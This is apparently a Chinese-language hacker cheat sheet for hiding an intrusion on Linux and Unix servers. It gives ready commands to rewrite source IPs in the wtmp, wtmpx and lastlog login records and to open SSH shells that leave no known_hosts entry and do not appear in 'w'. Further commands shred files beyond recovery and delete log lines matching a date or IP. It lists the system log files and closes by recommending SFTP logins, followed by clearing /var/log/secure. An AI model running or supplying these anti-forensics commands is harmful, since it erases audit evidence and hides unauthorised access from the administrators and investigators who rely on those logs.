last命令结果修改ip(如果修改用户什么的,自己修改下把)
Centos
utmpdump /var/log/wtmp |sed "s/8.8.8.8/1.1.1.1/g" |utmpdump -r >/tmp/wtmp1 &&\mv /tmp/wtmp1 /var/log/wtmp
unix
/usr/lib/acct/fwtmp < /var/adm/wtmpx | sed "s/192.168.8.88/localhost/g" | /usr/lib/acct/fwtmp -ic > /var/adm/wtmpx
lastlog 修改替换
sed -i 's/192.168.1.1/8.8.8.8/' /var/log/lastlog
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
多次覆盖文件,使得即使是昂贵的硬件探测仪器也难以将数据复原 -n, --iterations=N 覆盖N 次,而非使用默认的3 次。
shred -n 31337 -z -u filename
-n, --iterations=N 覆盖N 次,而非使用默认的3 次
-z, --zero 最后一次使用0 进行覆盖以隐藏覆盖动作
-u, --remove 覆盖后截断并删除文件
登录账户 w下管理员是看不到的
ssh -T somebody@8.8.8.8 /bin/bash –i
日志文件
/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/boot.log 守护进程启动和停止相关的日志消息
/var/log/btmp – 记录所有失败登录信息 命令:lastb
/var/log/auth.log 系统授权信息,包括用户登录和使用的权限机制等 (debian)
删除部分日志,比如以当天日期或者自己的登录ip
sed -i '/当前时间/'d /var/log/messages

个人建议登录linux,使用winscp工具连接,选择sftp协议,执行命令或者操作目录文件,在history,lastlog,last,w下不会有记录,
但是在/var/log/secure会有sftp连接记录,只需要清理登录日志就可以了